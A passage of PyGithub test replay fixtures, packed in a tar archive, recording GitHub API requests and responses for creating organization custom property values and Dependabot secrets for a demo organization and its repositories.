"string", "required": true, "default_value": "foo", "description": "description"} 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:48:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"85f9f5056a1f868d95ddd3b9af888bb6d9b20766264873fd18db63866be695e8"'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=admin'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4868'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '132'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CT01:4KADUD:WQ26U5:4BTORI:Z419HYMJ')] {"property_name":"property_1","value_type":"string","required":true,"default_value":"foo","description":"description","values_editable_by":"org_actors"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateCustomPropertyValues.txt0000644000175100001660000000304314756101563027605 0ustar00runnerdockerhttps PATCH api.github.com None /orgs/BeaverSoftware/properties/values {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"repository_names": ["TestPyGithub"], "properties": [{"property_name": "property_1", "value": "bar"}]} 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:48:37 GMT'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=write'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4866'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '134'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'CT01:4KADUD:WQ26U5:4BTORI:Z419HYMJ')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateDependabotSecret.txt0000644000175100001660000001702214756101563026623 0ustar00runnerdockerhttps GET api.github.com None /orgs/demoorg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fdd3ad04d14a1c6deb0a4a1fbcc104a59889084ffa9e75d80a66f6b7a54ec074"'), ('Last-Modified', 'Wed, 17 Jan 2024 22:24:36 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4931'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '69'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED05:2C9777:E41C658:E65E1E5:65BC23C8')] {"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","url":"https://api.github.com/orgs/demoorg","repos_url":"https://api.github.com/orgs/demoorg/repos","events_url":"https://api.github.com/orgs/demoorg/events","hooks_url":"https://api.github.com/orgs/demoorg/hooks","issues_url":"https://api.github.com/orgs/demoorg/issues","members_url":"https://api.github.com/orgs/demoorg/members{/member}","public_members_url":"https://api.github.com/orgs/demoorg/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/demoorg","created_at":"2024-01-17T20:14:26Z","updated_at":"2024-01-17T22:24:36Z","archived_at":null,"type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":5,"collaborators":0,"billing_email":"me@example.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":false,"dependabot_security_updates_enabled_for_new_repositories":false,"dependency_graph_enabled_for_new_repositories":false,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null,"secret_scanning_validity_checks_enabled":false} https GET api.github.com None /orgs/demoorg/dependabot/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f57ae8fba32f7b438a3b02f56bb750c7bac58f35ae00ae9e366f5a8974888b9"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '70'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED06:18EF96:DEDD9D3:E11F4DA:65BC23C8')] {"key_id":"3380217566468950943","key":"HYk6AFuoV0iI+t+geHowOxji1OKAGW6GtngRFeETM14="} https PUT api.github.com None /orgs/demoorg/dependabot/secrets/secret_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380217566468950943", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "visibility": "all"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ef7d1a03b3332b83aecd008a006821ad3613d37a6ec742a794010bc2d93610cf"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4929'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '71'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED07:7E6D9:E68F7CC:E8D1392:65BC23C8')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateDependabotSecretSelected.txt0000644000175100001660000010337614756101563030304 0ustar00runnerdockerhttps GET api.github.com None /orgs/demoorg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fdd3ad04d14a1c6deb0a4a1fbcc104a59889084ffa9e75d80a66f6b7a54ec074"'), ('Last-Modified', 'Wed, 17 Jan 2024 22:24:36 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4927'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '73'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED09:5E18E:E497844:E6D91FF:65BC23C9')] {"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","url":"https://api.github.com/orgs/demoorg","repos_url":"https://api.github.com/orgs/demoorg/repos","events_url":"https://api.github.com/orgs/demoorg/events","hooks_url":"https://api.github.com/orgs/demoorg/hooks","issues_url":"https://api.github.com/orgs/demoorg/issues","members_url":"https://api.github.com/orgs/demoorg/members{/member}","public_members_url":"https://api.github.com/orgs/demoorg/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/demoorg","created_at":"2024-01-17T20:14:26Z","updated_at":"2024-01-17T22:24:36Z","archived_at":null,"type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":5,"collaborators":0,"billing_email":"me@example.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":false,"dependabot_security_updates_enabled_for_new_repositories":false,"dependency_graph_enabled_for_new_repositories":false,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null,"secret_scanning_validity_checks_enabled":false} https GET api.github.com None /repos/demoorg/demo-repo-1 {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7d6947bb6dc9709c7b930fe8f18991f5210224d5319fa50eb248979e9acf0627"'), ('Last-Modified', 'Wed, 17 Jan 2024 20:16:00 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4926'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '74'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0A:D6070:7130FF9:7257CAB:65BC23C9')] {"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments","created_at":"2024-01-17T20:15:59Z","updated_at":"2024-01-17T20:16:00Z","pushed_at":"2024-01-17T20:16:00Z","git_url":"git://github.com/demoorg/demo-repo-1.git","ssh_url":"git@github.com:demoorg/demo-repo-1.git","clone_url":"https://github.com/demoorg/demo-repo-1.git","svn_url":"https://github.com/demoorg/demo-repo-1","homepage":null,"size":5,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/demoorg/demo-repo-2 {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"692b43682cf160985c81fe3af42dc9e2cf18886063e3d33e74568865389a3a33"'), ('Last-Modified', 'Thu, 01 Feb 2024 18:15:57 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4925'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '75'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0B:3D0E38:2904481:296D1C5:65BC23CA')] {"id":751491527,"node_id":"R_kgDOLMrZxw","name":"demo-repo-2","full_name":"demoorg/demo-repo-2","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-2","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-2","forks_url":"https://api.github.com/repos/demoorg/demo-repo-2/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-2/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-2/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-2/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-2/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-2/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-2/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-2/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-2/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-2/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-2/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-2/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-2/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-2/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-2/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-2/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-2/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-2/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-2/deployments","created_at":"2024-02-01T18:02:27Z","updated_at":"2024-02-01T18:15:57Z","pushed_at":"2024-02-01T18:02:28Z","git_url"